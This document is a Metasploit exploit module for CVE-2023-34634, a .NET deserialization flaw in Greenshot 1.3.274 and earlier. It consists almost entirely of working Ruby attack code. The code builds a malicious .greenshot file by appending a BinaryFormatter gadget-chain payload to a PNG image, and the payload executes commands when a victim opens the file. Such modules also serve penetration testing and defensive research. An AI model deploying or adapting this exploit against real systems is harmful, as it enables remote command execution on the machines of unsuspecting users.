Greenshot 1.3.274 Deserialization / Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Post::File  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Greenshot .NET Deserialization Fileformat Exploit',  
'Description' => %q{  
There exists a .NET deserialization vulnerability in Greenshot version 1.3.274  
and below. The deserialization allows the execution of commands when a user opens  
a Greenshot file. The commands execute under the same permissions as the Greenshot  
service. Typically, is the logged in user.  
},  
'DisclosureDate' => '2023-07-26',  
'Author' => [  
'p4r4bellum', # Discovery  
'bwatters-r7', # msf exploit  
],  
'References' => [  
['CVE', '2023-34634'],  
['EDB', '51633']  
],  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Targets' => [  
[ 'Windows', {} ],  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS]  
}  
)  
)  
  
register_options([  
OptPath.new('PNG_FILE', [false, 'PNG file to use'])  
])  
end  
  
def exploit  
if datastore['PNG_FILE'].blank?  
image_file = File.join(Msf::Config.data_directory, 'exploits', 'cve-2023-34634', 'test.png')  
else  
image_file = datastore['PNG_FILE']  
end  
  
datastore['FILENAME'] = Rex::Text.rand_text_alpha(rand(6..13)) if datastore['FILENAME'].blank?  
if datastore['FILENAME'].length < 10 || datastore['FILENAME'][-10, -1] != '.greenshot'  
datastore['FILENAME'] << '.greenshot'  
end  
cmd = payload.encoded  
  
image_data = File.binread(image_file)  
  
deserialize_cmd = ::Msf::Util::DotNetDeserialization.generate(  
cmd,  
gadget_chain: :WindowsIdentity,  
formatter: :BinaryFormatter  
)  
  
payload_length = deserialize_cmd.length  
outfile = image_data  
outfile << deserialize_cmd  
outfile << [payload_length].pack('Q')  
outfile << 'Greenshot01.02'  
file_create(outfile)  
end  
end  
`